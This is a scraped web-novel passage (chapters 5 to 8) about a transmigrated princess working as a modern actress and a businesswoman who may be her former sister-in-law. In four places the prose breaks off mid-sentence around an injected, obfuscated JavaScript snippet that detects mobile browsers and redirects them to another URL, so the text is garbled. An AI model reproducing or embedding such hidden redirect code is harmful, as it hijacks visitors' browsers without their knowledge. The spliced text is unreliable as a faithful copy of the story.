谈清瑶搭在胳膊上的右手指尖微微点了点。 点完菜,王玮又开始对这谈清瑶夸夸其谈。 李永宁百无聊赖,听得快打哈欠。 这种事她也见惯了,文武百官,当着她的面还能倚老卖老摆点架子,到了皇嫂面前,各个都夹着尾巴做人,点头哈腰,无不如是。 权力可真是个好东西。 但权力要背负的东西也太多了,李永宁也不喜欢。 她就最适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484068|201917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合做个闲人,肩膀上装不了太多东西。 哈欠打到第八个,第一道菜终于盛了上来。 餐盘还端在服务人员的手里,李永宁就已经闻到了那浓郁的香,强烈的锅气里带着调料的美味。 馋虫在动,口水咽了又咽。 以前的‘李永宁’从来不跟剧组的人来这餐馆吃饭,她瞧不上这里的装潢,认为在这种环境吃饭有失她李家大小姐的身份。 真是可惜了。李永宁想,这家餐馆看起来味道真的不错。 王玮这个人,性格不讨喜,能力也一般,但在找吃的这件事上,本事确实不错。就连群演的盒饭都是影视城这一片里最好吃的。 谈起《凤归巢》这个剧组,业内第一反应是,这个组的盒饭是真好吃啊! “老板,有米饭吗?”李永宁问。 “有的有的,妹妹你等哈,我这就去给你弄噶。”阿姨黑黝黝的脸上笑容淳朴。 王玮:“小李啊,这菜刚上呢,你先多吃点菜啊。” 人家谈总都没还没开始动筷子,你怎么就要上米饭了! 这丫头是一点都不懂人情世故吗?! 李永宁笑起来:“王导,这嘴长我身上,我爱怎么吃就怎么吃。还是说,您的剧组,吃饭也有规矩?” 被谈清瑶盯着的王玮:“……” 他哪还敢有什么规矩? 米饭呈上来,装了整整一个木桶。李永宁第一个舀,小半碗米饭到了手,她才开始动筷子和勺子。 先把菜铺满米饭,再用勺子搅动起来,没两下,洁白的大米饭就变成了滋味十足的拌饭,粒粒分明,油光十足。 王玮快晕过去了。 真没见过哪个女演员这么吃饭。 李永宁以前不都在剧组啃水果的吗?! 今天怎么采取了这么高热量的吃法?! 他忍不住提醒:“小李啊,今天的戏还没拍完,你下午还要上镜的。” 能吃是福啊,但别把脸吃肿了。 李永宁未解其意,理直气壮地回:“我知道,所以我才要多吃点。” 不吃饱,她哪有力气去拍那遭戏?又哪有力气给原主收拾烂摊子? 李永宁埋头干饭,谈清瑶就坐在一旁不动声色地看她。 太像了。 这么多年了,不是没有心怀鬼胎的人试图来她面前充当赝品,但她总是可以一眼识破。 不管是在大梁,还是在别的地方。 唯有今天,唯有此次。 她第一次遇到一个人,如此像她的宁宁。 就连吃饭时,一勺白米饭一定要配一口菜的小习惯也一模一样。 谈清瑶端起茶盏,浅饮半口。 若她真的是宁宁,那她还记得过去吗?不记得的话,她还要主动去提及吗?大梁的一切,宁宁在一线天的结局,是连她都不愿主动忆起的。 更遑论让宁宁再想起了。 杯中茶由温转凉,谈清瑶兴致缺缺地吃了几口饭,打定主意先不提大梁的事。 她不是个胆小的人,唯独事关永宁,她才会进两步,退一步,处处犹疑。 “擦擦。”瞧见身边的人吃得嘴角沾上米粒,谈清瑶没忍住,扯了张纸递去。 李永宁忙着咀嚼,没反应过来。 谈清瑶看不下去,干脆直接上手,替她捻掉了那一点残余。 餐桌的对面,王玮三人瞬间瞪大了眼。 懂了。 他们这下全都懂了。 5. 【005】 谈清瑶有事,饭没吃两口就接了电话要走。 王玮三人哪敢说不?忙从椅子上起身,赶着要送她。 李永宁还没吃完饭,屁股黏在板凳上没动静。 谈清瑶看她一眼。 王玮眼力见十足,立刻提醒:“小李,快快,送送谈总。” 李永宁叼着嘴里的鸡腿,指尖对着自己,眼神茫然。 谁送? 她? 王玮催促:“快点。” 谈清瑶冷盯他一眼:“不必。” 她推开椅子就走,干脆利落,王玮追出去,送她上车,英勇的禁卫军似的确保她的车辆消失在视野内,这才回餐馆的包间里去。 开门一瞧,李永宁还在啃那个鸡腿。 王玮气不打一处来:“鸡腿有这么好吃?” 吃吃吃!就知道吃! 李永宁赞不绝口,竖起大拇指:“是还不错。” 王玮气得当场就想发火,副导演赶紧拉住他,凑在他耳边嘀咕:“导,冷静,冷静啊。你没觉得她跟谈总好像有点什么吗?” 经此提醒,王玮的理智回笼了。 他的八卦神经和马屁神经一样四通八达。 在刚刚的观察里,他已经敏锐地觉察出李永宁和谈清瑶的关系不一般了。 细思极恐。 怪不得李永宁在真假千金的事情曝光以后还这么傲气,今天上午直接在片场不听指挥,当场改了剧本内容。 而跟他们剧组八竿子打不着一处的谈总今天忽然莅临,说是问询项目进展,却只问到和李永宁相关的内容就结束对话。 再加上,刚刚在街头碰到她俩一起吃糖葫芦,还有吃饭的时候,谈总看李永宁的眼神,替她擦嘴的动作…… 靠北! 搞半天,李永宁的靠山是山外有山,天外有天,倒了一个还有一个! 王玮有点睁不开眼睛了,被李永宁的前途给亮的。 同样,他也有点看不清路了。 被自己的前途给暗的。 想到自己一大早上为了捧出品方的臭脚,把编剧组连夜赶出来的打脸剧本丢给李永宁演…… 人生,怎想死二字可解? 也不知道李永宁有没有跟谈清瑶告状。 王玮清清嗓子,和蔼了面容:“小李啊。” 李永宁警惕地把餐盘里的鸡腿又夹了一个放进自己的碗里。 王玮:“……”没人想跟你抢,真的。 他在李永宁身边坐下,试探着问:“小李啊,你跟谈总是什么关系啊?” 李永宁眸光微敛。 什么关系?能有什么关系。 尽管这个人吃糖葫芦的姿态像皇嫂,身上的味道闻起来也像皇嫂,就连刚刚熟稔地伸手替她擦嘴角的动作,也和总是照顾她的皇嫂如出一辙。 但她能就因此认定她就是皇嫂吗? 李永宁得不出确切的答案。 因为她总在想,对方看她的眼神不是记忆里那般。做了替她擦嘴的亲密举动以后又没什么解释,只淡淡地给她看了眼纸巾里包裹着米粒。 她什么意思呢? 李永宁想不通。 在她心里,皇嫂断然是不会用这种方式来对她的。她看她的时候,总是眸光柔润,不管她讲什么,她都会耐心地听着。 从未有一刻,她冷眼看过她。 “不熟。”李永宁说。 王玮不信这个答案。 不熟能让谈总专门来一趟?不熟能让谈总一块吃冰糖葫芦?不熟能让谈总上手? 混娱乐这么久,‘不熟’这俩字,是王玮见过的最多的谎言。 从餐馆回剧组的路上,王玮已经拉了一个三人小群,群里只有他和副导演以及执行制片。 三人在群里就‘论李永宁和谈总的关系议题’进行了深刻的讨论。 副导演说,他昨天晚上正好因为吃了李家真假千金的瓜看了一本评论区推荐的小说,也是真假千金题材,但不同的是,这本文的卖点是假千金翻身打脸。 本以为,她是鸠占鹊巢!一朝真相大白,才知道,真正的凤凰竟然是她! 说人话就是,这假千金被赶出豪门以后,发现自己的亲生爸妈竟然是豪门中的plus版! 王玮:你的意思是,李永宁可能是谈家的女儿? 仔细想想,这个推论也有点道理啊! 毕竟今天李永宁很不把谈总当回事的态度,与这该死的小说发展意外合拍。 眼看两人把这个当做正确答案,潜水在群里一言不发的执行制片默默删掉了自己准备发送的文字。 她能说吗?除了真假千金打脸小说,她还看过别的小说。 比如,清冷总裁恋上我。 * 经纪人赵姐很烦躁。 自从李永宁不听她的招呼,擅自从酒店离开以后,她发的每条消息李永宁都没回。 包括她催她赶紧回来,准备下午拍戏的正事,李永宁也没回。 赵姐对此很不爽。 换做以前,李永宁还是大小姐的时候,她只会偷偷不爽,私下怒跟朋友吐槽三百句。 现如今风水轮流转,赵姐再也不忍,劈头盖脸地在对话框里输出。 指间噼里啪啦敲着,一抬头,导演和让她生气的罪魁祸首一同出现。 “王导。”赵姐迎上去。好言好语的脸色在看见李永宁的时候立刻变了,“你还知道回来?!”她就差没指着李永宁的鼻尖骂了。 李永宁舔了口手里的冰淇淋,抬抬眼皮。 她还没说话,王玮已经不赞同地讲:“赵姐,你怎么能这么对小李,噢不,李老师讲话?” 赵姐:“……?” 嘛情况?! 赵姐:“王导,我……” 王玮扭头:“李老师,你先去休息吧,今天上午那场戏挺好的,就是后面的剧本我们还要再商量一下。等商量好了,我们再联系你。” 变脸倒是挺快。 李永宁嗯了一声,捧着蛋卷冰淇淋走掉。 对这种见风使舵的行为,她早已见惯不怪。 回了房间,啃掉冰淇淋最下面的一点蛋味脆皮,李永宁把关机的电话打开,无视弹出来的密密麻麻的情绪发泄文字,找到搜索软件,不甚熟练地使用九宫格,输入两个字。 谈总。 搜索系统匹配的第一张照片就是今天看到的女人。 她的名字也跟在后面。 谈清瑶,苏城人,二十七岁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484069|201917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顶了顶唇下的虎牙,李永宁眼眸微眯。 就连名字也一样吗? 问题又纷杂地涌入。 所以,这个‘谈清瑶’的存在和‘李永宁’一样吗? 她要怎么样才能找到机会试探清楚,亦或干脆当一次疯子,直接明明白白地问问? 在大梁,民间有传说,人死后会转世,进入下一次的轮回。李永宁走南闯北,见过不少民风民俗,虽各有不同,但都会通过各种方式向他们所信仰的神明祈祷,离开的人能够在下一个轮回里过得幸福。 李永宁不确定,这个时代出现的‘李永宁’和‘谈清瑶’,是不是就是轮回的结果? 如果是的话,失去了大梁所有的记忆,重新开始这一生的‘谈清瑶’,还是她的皇嫂吗? 反正,李永宁认为,之前的‘李永宁’绝非是她自己。 早知道今天就先问出口了,就算被当做疯子,也比现在这样被这个问题困扰着,胸口堵闷,心情不上不下来得好吧? 不高兴地把自己摔到床上,李永宁抱着枕头打了个滚。 其实这个世界也挺好的,有许多她没见过的新奇,食物味道也很不错,生活比大梁方便。往日要骑马奔波许久的路途,现在不到一个时辰就能解决。 细细一数,似乎全都是优点。 可是,可是。 胸口某处空荡荡的,四肢的边缘微微发着麻。 她不属于这里,她属于大梁。大梁有她的家,她的子民,她的朋友,以及她的皇嫂。 怀里的枕头紧了三分。 她想发点脾气,又不知道该为什么而发,对谁去发。她现在连一个能说知心话的人都找不到了。 坏老天,为什么偏偏叫她来到这里? 女人的那张脸又浮现。 李永宁一半希望她不是,一半又希望她是。 希望不是是因为,她不想让皇嫂体会到自己现在这样孤独难捱的情绪。希望是的原因就更简单了。她很需要她,从小到大,一如既往。 轻叹口气,拍拍两颊,李永宁逼自己振作起来。 最好先想个办法再跟那个谈总接触下。 也不知道导演有没有门路,瞧他今天那样,大概率是没有的。 可多问一嘴又不会少她一块肉。 李永宁从床上弹起来,准备去找王玮。 “李老师,来得正巧。”自打中午那一遭后,王玮见她,脸上总挂着笑,“来,我介绍一下。这是杜月,杜老师,知名的经纪人,造星专家,圈内……” 杜月没耐心听他吹捧,主动上前一步,朝着李永宁递出手。 “李小姐,你好,我是杜月。”她干练利落,“谈女士让我来的,从现在开始,我就是你的经纪人了。” 赵姐在旁掉了下巴:“啊?什么?” 也没人通知她啊。 李永宁重复着杜月的话:“谈女士……谈清瑶让你来的?” 听到她直呼谈总大名,王玮吓得又把眼睛闭上了。 杜月:“是。” 泼天的富贵落下来,李永宁却皱了眉。 这女人,当着面对她冷淡,背后又做出这种好像在为她考虑的事。 她什么意思?什么意思! 6. 【006】 娱乐圈的消息总是传得很快。 特别是与八卦有关。 杜月自报家门,接手李永宁不到两小时,就有人把小道消息传到了林晚耳朵里。 林晚也在拍戏,和《凤归巢》剧组同在苏城影视基地。 她的资源没有李永宁好,李永宁起码在剧里是个有份量的女二,她却只是民国剧组里的单元配角。 这两天被认回李家,李父问她,需不需要家里的帮忙,给她换个角色,或者增加别的戏份。 林晚说不用。 演什么,演多少,这是一个剧组开机前早早定下的事。 她以前没资源没关系的时候就最讨厌别的演员中途为了一己之力变动,只想着自己的戏份要多要好看,全然不为整个作品思考。 现在被找回了李家,她成了那个有资源有关系的人,她也不想那样做。 依旧是以前的化妆间,变的只是大家对她的态度。从无人问津到周遭追捧,不过一夜之间。 同剧组的演员,工作人员,不知道是为了给她出气,还是单纯看李永宁不顺眼,从她进了化妆间开始就不停地说着关于李永宁的坏话。 什么早知道这人就会有今天,什么果然以前就是德不配位。 林晚听着,心里并没有多爽快。 她是不喜欢李永宁,准确来说,她讨厌那个人。之前有一次,她和李永宁同一个剧组,对方傲慢的态度让她记忆犹新。 但眼下,听着其他人在她的身边讲一些马后炮似的抱怨,比起爽快,她心里更多的是烦躁。 人怎么就是这样的呢? “诶,你们知道吗?我在《凤还巢》当群演的小姐妹跟我说,这个李永宁,好像还有别的靠山。” “什么?” “杜月你们知道吧?就特出名的那个经纪人,老早就不带人了。结果今天,好像就刚刚的事,跑到剧组,成了李永宁的经纪人。” “我靠!!” 惊诧以后,所有目光齐齐落在了林晚身上。 林晚盯着镜子里的自己,一言不发。 一分钟不到,围在她周遭的麻雀就散去了。 大家在旁蛐蛐,小声地讨论这李永宁究竟是什么命数,又思维发散地猜测,没了李家,她的靠山究竟是谁。 居然能请动杜月来给她当经纪人! 李永宁自己对此没什么特别的感知。 她现在在这个剧组,还当着这个所谓的明星和演员,只是为了给前身擦屁股。至于经纪人是谁,跟她一点关系都没有。 换了个经纪人就能让她马上有钱吗?未必吧。 她看了,前身的余额不足以支撑巨额的剧组违约金。 明明之前是个富家大小姐,还入娱乐圈好几年,银行卡里却只剩下负债消息。 怎么搞的? 比她这个公主还要铺张浪费。 一穷二白,倒欠着信用卡,她不演戏都不行。 还好这个剧本贴合她的过去,叫她来演也不算为难。 要是换成别的,李永宁觉得自己硬着头皮也演不来。 新官上任三把火,杜月办事比赵姐麻利,且更为她考虑。一来就跟王玮讨论剧本的事,要拿恶意修改剧本的事找王玮算账。 王玮忙跪滑:“杜老师,我们也是没办法。” 这要求是《凤归巢》主要出资方提出来的。 人老板放话了,不管怎么样,都要想办法让李永宁在剧组里吃点苦头,给她一点颜色看看。 杜月显然是有备而来:“耀紫影视?” 王玮:“诶,对对。” 杜月翻着王玮今天上午丢给李永宁的新剧本:“他们这是打算拍完这场公主身份揭露的羞辱戏,就把李永宁后面所有的戏份都删了?” 王玮赔笑:“大概吧。杜老师,您也知道,这种事在剧组不少见,有的时候,不拍到结束,还真就不知道这剧情会怎么发展。” 杜月冷笑一声:“当初也是他们提的要给李永宁加戏吧?” 王玮颤颤:“您什么都知道呀。” 杜月扭头看一直在旁坐着,捧着一个星球杯挖来挖去的女人。 真是让她给摊上了。 现在算什么?皇上不急太监急? 要不是她欠了谈清瑶的人情,她才懒得来接手这档子破事。 平心而论,杜月完全不觉得,在她了解范围内的李永宁有什么可塑的地方。这个人的脾性配不上她的能力,从头到脚,也就只有那张脸拿得出手。 圈内当然不少这样的明星,经过经纪公司的包装以后变得像模像样。 杜月不喜欢这种造星术,这跟流水线上生产的商品有什么区别?不过会说话,会动弹,卖得更贵一点。 若要她说,她只会想培养那种万里挑一,命中注定要在人群中闪耀的人。 而不是现在,身边这个执着于星球杯的坏脾气小女孩。 感叹一番,杜月继续和王玮讨论剧本的事。 “如果贵剧组要按照现在修改后的剧本进行拍摄的话,那我们只能法庭上见了。” 杜月的强硬态度让王玮生畏。 “别啊杜老师,怎么拍这事,能谈,都能谈。” “你们现在的行为已经属于严重违约。”杜月找出李永宁一开始和剧组签订的合同。 王玮头都大了。 那这也不能怪他们啊! 李家自己内斗,耀紫影视的老板原本是李永宁的堂弟,所以才投钱进来,成为了剧组最大的老板。现在好了,真姐姐变成假姐姐,堂弟毫不犹豫就变了脸,迫不及待地来踩上一脚。 拿钱办事,他们能怎么办? 总不好为了一个李永宁跟老板对着干吧? 是个人都知道这笔帐不划算。 王玮额角直冒冷汗,连连赔笑:“杜老师,您说的都也有道理,但您也清楚,我们只是执行方,上面怎么说,我们就怎么做。” 杜月合上合同,指尖轻轻敲了敲桌面,语气不紧不慢:“执行方?那好,我就跟你谈执行。” 她抬眼,目光锐利。 “第一,《凤归巢》我们不解约。” 王玮愣了一下,明显松了口气:“那是自然,自然……” “第二,剧本可以修改,但必须合理,且后续李永宁的戏份总量需保留到与原剧本一致。” 王玮犹豫:“这……出资方那边恐怕不好交代。” 杜月满不在乎:“交代?还需要给他们什么交代?你直接转告他们,删减李永宁后续戏份一事,绝不可能。” 王玮头疼无比,有一种神仙打架凡人遭殃的倒霉感。 “杜老师,要是他们坚持呢?” 杜月:“那我给你两个选择,第一,我们法庭见。第二,你让他们撤资。” 王玮嘴皮都在发颤:“……撤,撤资?” 耀紫要是撤资了,他们这剧还拍不拍? 正愁闷苦脸着,杜月递来一份资料。 王玮低头一看,惊得下颌垂落:“意向书?!” 杜月淡淡道:“是的,谈总旗下的青岚文化,已经对《凤归巢》表达了接手意向。如果耀紫影视选择撤资,我们会第一时间补位,资金、宣发、后期,一并承担。” 房间里瞬间安静下来。 王玮嗓眼发干,紧握着杜月给的文件。 这还用想吗?他肯定选青岚啊! “当然。”杜月忽然又说,“这一切的前提是,李永宁还愿意继续出演。” 此话一出,会议室里的几双眼睛都定在李永宁的身上。 李永宁舔了舔塑料小勺子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484070|201917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼眸明澈。 “我能问个事吗?” “当然。”王玮马上说。 “违约金和演完能拿到手的片酬,哪个更多点啊?” 王玮:“……”这种时候了,你就想问这个?! 杜月指指合同:“一个是死钱,一个是活钱,看你怎么选了。合同里写了,你在这个剧是有分成的。” “分成?”李永宁尝试理解这个词语。 杜月:“简单来说,如果这个剧播出以后成效不错,片方会按比例给你分账。” 李永宁懂了。 赌局呗。 她来了兴趣,眉眼因为愉悦而弯了些许。 “那我要演。” 她想看看,来到这个时空的第一个赌局,她能凭自己的本事赚回多少来。 杜月在旁若有所思地挑了挑眉。 离得如此近,她一下就看清了刚刚那瞬间,李永宁眼眸里灼灼迸发的趣意和野心。 这个小女孩,也没她想得那么无聊嘛。 李永宁表达了意向,杜月就开始推进相关事宜,马不停蹄拉着《凤归巢》的编剧和她找的编剧开线上讨论会议。 会议的主题是:如何能在不影响原本故事线的情况下增加更精彩的内容? 按照现在原本的剧本,李永宁饰演的角色萧明昭毫无高光,在身份暴露以后本该被皇帝贬为素人,却又想着再利用她一次,维持了她公主的身份,派她与草原部族和亲。 萧明昭在草原斡旋于王子和可汗之间,最终引得父子俩互相残杀,给了大呈收服草原的机会。 李永宁听完这个发展哈欠都快打上天。 怎么这现代的故事还没他们古代的话本有意思? 王玮又把今天上午拍的那场戏拿出来说事。 虽然,他们一开始拍这场戏的目的很不纯粹,但李永宁的表演的确将这场戏拉到了一个他们未曾想过的高度。 王玮私心很喜欢这场戏,如果有可能的话,他是想做保留的。 杜月瞧完了他给的片子,略有几分不可置信地转头,上上下下又把李永宁打量一遍。 李永宁歪了歪头:“?” 杜月收回目光,拍板:“要保这条,剧情也要改。” 可是怎么改呢?一群人犯了难。 一个自请离开朝廷成为庶人的假公主如何又能去草原卷动风云?该怎么找到机会让假公主和草原王子相遇相爱?这样写的话,副cp会不会太抢眼,导致男女主的感情线空间被占据? 叽里呱啦的,大家伙讨论半天。 李永宁也不知道他们在难什么。 “就非得找个王子相爱吗?”她实在听不下去了,懒洋洋地靠在椅背上,语气散漫而锋利,“萧明昭这个人,当了十多年公主,接受了全天下最顶尖的教育,母族还是将门,最善行军论策。就算她的身份是假的,这么多年学来的东西,总不能也是假的吧?” “除了你们说的什么谈恋爱,她难道一点别的本事都没有了?” 杜月眉尾又挑了下。 会议室短暂地安静了一瞬。 一个年轻编剧小心翼翼地开口:“那……或许可以让萧明昭展示武艺?我就先随便说说哈,比如让她在被贬以后游行四方,途中顺道出手救人,这个人跟草原部落也有关系。这样的话,既能立人设,又能顺理成章让她进入草原权力中心。” “想法不错。”王玮忍不住看向李永宁,“但打戏难度不低啊,李老师,你可以吗?” 这位大小姐在之前可是连一点辛苦都受不得的。 太阳稍微大点都要叫苦连天了,更别提拍打戏。 这话问得,李永宁轻轻一笑,慢悠悠地直起身,宛若明月的双眼灼灼地瞧着他。 “可不可以,你试试不就知道了?” 7. 【007】 影视城,古色古香的庭院空地。 长枪/刺破空气,带起阵阵烈风。 持枪人身影极快,步伐却稳当,进若闪电,退似游龙。枪锋或直破凛空,或虚晃避让,挑压扫点之间,处处都是凌厉的杀气。 最后一式,她骤然收势。 随意竖起的马尾扫起利落弧度,脚步乍定,长枪于掌中一旋。 “嗡——” 枪尾重重点地。 李永宁单手持枪,枪尖斜指前方,宽松的卫衣衣摆在风中微微摆动。 明明生了一张娇矜清甜的脸,神色冷下来,却带着十足的凛意,足以让所有人屏息。 一瞬之后,风止。 四周一片死寂。 外行人看热闹,内行人看门道。 跑来围观的剧组人员连连惊呼,年轻点的都已经按耐不住压低声音叫着老婆好帅好帅。 最前排的围观位,武术指导张了张嘴,半天才找回自己的声音:“这……这不是套招吧?” 同行摇了摇头,眼神发直:“肯定不是啊,我从没见过!你见过?” 王玮更是直接愣住了。 “李老师……”他咽了口唾沫,“你这是什么枪法?” 李永宁把枪随手一收,姿态轻松,好似刚刚那一通演示于她而言不过是平常的筋骨活动。 她笑笑,轻描淡写道:“算不上什么枪法,只是一个长辈随意教的。” 武术指导听到这话眼睛都亮了。 “长辈?李老师,你那个长辈在哪?” 李永宁双眸微敛:“不在了。” 武术指导:“……啊。”恨不得扇自己两耳光了。 同行凑过来,满眼热切:“李老师,您有考虑转行吗?我瞧了,您的身法特别好,很适合干我们这行啊!” 王玮一听,不得了了,赶苍蝇似的把人挥开:“去去去,哪有当着我的面挖墙角的?” 他再次震惊地将李永宁打量。 看不出来,完全看不出来。 李大小姐还有这么深藏不露的一面。 合着以前晒会太阳就要晕的症状是装的? 李永宁将长枪放回道具架,看着王玮:“王导,现在剧本能改了吗?” 王玮还能说什么?拍着大腿,毫不犹豫:“改!绝对能改!” 得到了满意的答案,李永宁神色明亮些许,走到杜月面前,瞧了眼她的手机。 “杜姐姐,你刚刚在拍视频?” 杜月:“嗯,留个记录,也许后面剧宣用得上。” 李永宁眨眨眼:“我能看看吗?” “当然。”杜月把自己的手机给她。 视频拍得很细致,李永宁满意极了。 “杜姐姐,既然是谈总派你来的,你觉得是不是应该也让她检阅一下?我可不想辜负她的期待。” 刚刚还拿着枪英姿飒爽的姑娘,现在就软了眉眼,冲着杜月笑。 人精如杜月,岂能不懂? “应该的。”杜月说,“不过,小李,我看你的身法,不像是一时半会能练出来的。以前学过?” 李永宁:“嗯,很久以前。” “杜姐姐,讨论剧本的事就交给你了,刚打了一套,出了些汗,我想先回去洗个澡。” 杜月应允,目送着她的背影离开。 这个李永宁,和传闻里的一点也不一样啊。 谈清瑶是知道这一点,所以才派她过来的? 无论如何,杜月开始觉得这一趟还人情的工作没那么无聊了。 毕竟李永宁身上的特质,杜月还没在其他人那见过。这对当演员或明星来说,难道不是一种天分吗?如高悬的星星一般,叫人神往。 杜月拿出手机,给谈清瑶发了信息。 VeraDu:[视频] VeraDu:我很好奇,你是早就知道她跟传闻不一样了,所以才让我来的? 谈清瑶正在开会,手机屏幕亮了一下,她只瞥一眼,就倒扣回去。 等会议结束,她才拿起查看。 杜月发来的视频时间不短,足有三分钟。还没正式点开,谈清瑶就能看见视频的主人翁的样貌。 指尖微顿,挂上耳机。 女孩走到道具架前,挑了把枪,在手中轻抬片刻,一招慢起手,算作熟悉场地和工具。 在一切都已准备就绪以后,长枪在她的手里变化起来,连同她的身法一起,煞气十足,却又漂亮利落。 视频的尾巴,还录下了她和别人的对话。 “长辈?李老师,你那个长辈在哪?” “不在了。” 谈清瑶长吁一口气,又把视频点开,重头再品一遍。目光粘黏在女孩身上,连她发丝的走向都不愿错过。 她几乎,几乎可以完全确定了。 这就是她的宁宁。 诡谲的枪法,出自谈家将门。 本不该外传,但李永宁是唯一的特例。后宫之中,无人不知,皇后最偏宠贵妃生下的女儿。坐上了凤位的姑姑,亲自在御花园里把这套枪法传给了她。 这便是她的宁宁,天之骄女,生来就拥有一切。 恋恋不舍地将三分钟的视频翻来覆去看了好几遍,谈清瑶才切回聊天界面。 请杜月去当李永宁的经纪人,这个行为,并不代表谈清瑶已经完完全全认定了对方的身份。只是,对她而言,不怕一万就怕万一。 事关宁宁,她总想很多。 她看得出来,现在的李永宁已经不是过去的李永宁,必然有一些变化在这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484071|201917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人身上发生了。 怕她不是,所以不敢过分亲近。怕她是,也不想叫她因为以前‘李永宁’的行为而受到伤害,更无法确定她又是到哪个程度,关于过去,记得多少。 于是只好这样。 让杜月去她的身边,算是保护,也是试探。 没想到这试探这么快就有了结果。 指尖轻点金属外壳,谈清瑶给杜月发了消息。 QY:怎么想到给我发这个? VeraDu:人小孩说了,得给你检阅一下。您说呢?谈总。 谈清瑶哼笑一声。 小狐狸,也在试探她呢。 QY:你跟她说,我检阅了,成果不错。 QY:顺便帮我问问,李小姐要是晚上有空,愿不愿意赏脸,再一起吃个晚饭? 杜月对着手机翻了个白眼。 VeraDu:你俩没微信?非得让我讲? QY:暂时没有。 行吧。杜月服了。心里也更纳闷了。但她知道问出那个问题,谈清瑶也不会给她答案。 毕竟,在谈清瑶让她去给李永宁当经纪人的时候,她就已经十分没辙地问过: “谈总,你跟我交个底,你和那李永宁,究竟是什么关系?” 谈清瑶没讲,只说让她帮忙。 现在,杜月诡异地觉得,她要帮的这个忙,不会是帮谈清瑶追女人吧? 以前也没听说谈清瑶是女同性恋啊。 还是说这其中有什么豪门秘辛? 杜月的脑子快要被这茬事搅成一团浆糊了。她一个快退休的女的,被俩小年轻搞成这样,她容易吗?小心她告上中央,告她们欺负中年妇女! 抱怨归抱怨,瓜还是要吃的,事也是要办的。 杜月按照谈清瑶的吩咐,和李永宁说了晚上吃饭的事。 李永宁刚冲完澡,浑身透着一股干净的皂角香。头发没洗,只有发尾沾着些许水汽,她拿着毛巾,有一搭没一搭地擦着。 “吃晚饭?赏脸?”李永宁重复着杜月的话。 杜月:“嗯,谈总是这个意思。” 李永宁瘪瘪嘴:“不吃,不饿。” 瞧这态度。杜月可以笃定,李永宁和谈清瑶之间一定有过什么。 在杜月的印象里,还没人敢用这种语气和谈清瑶讲话。 她尽职尽责地,原封不动地把李永宁的回答告知了谈清瑶。 谈清瑶没生气,反而眼底漫出笑意。 手机放在一旁,唤来助理。 “Lily,待会的行程,帮我调整一下。” “好的,谈总,请问是需要加入新的安排吗?” 谈清瑶合上文件,拿起外套。 “嗯,我出去一趟,哄个小朋友。” 8. 【008】 晚上六点,《凤归巢》的剧本修改会终于告一段落。 新剧本的框架雏形已经出来了,就等细化。 解决心头大问题,王玮手一挥,阔气地说:“今天辛苦大家了,晚上请大家吃饭,你们有什么想吃的?” 头脑风暴一下午的编剧气若游丝:“吃什么都行,有碳水就行。” 她的脑子要是再不补充血糖,就要彻底跟这个世界告别了! 王玮思考了会,跟执行制片商量,打电话给那家名叫三只兔的本地小炒店,让他们直接送菜上门。 正翻看着原剧本的李永宁忽地抬头:“三只兔?中午吃那家?” 王玮:“对对对。” 李永宁想了想,询问:“我还可以点中午那道双椒兔吗?还有番茄炒牛肉。” 王玮:“啊?你中午才吃过,不会腻吗?” 李永宁理直气壮:“不会啊。” 她就是那种如果喜欢一道菜可以一直吃一直吃的人。 王玮服了她了。 把她想要的菜加入订单,又询问了大伙的意见,统计完毕以后,执行制片报给了小炒店的老板。 菜是现炒,得要会儿时间,老板让他们先等着。 干等也无聊,王玮喝了口水,说:“那咱们继续讨论剧本吧,编剧,你先说。” 编剧两眼一黑,没法拒绝,只好满脸死意地打开刚刚合上的笔记本电脑。 李永宁余光瞥见,撑着下巴打了个哈欠:“王导,能休息会吗?我累。” 王玮当场就想说:你累什么累?下午开剧本会的时候你都在睡觉,醒了就喝奶茶,还喝了两杯!压根没见你讲过两句话! 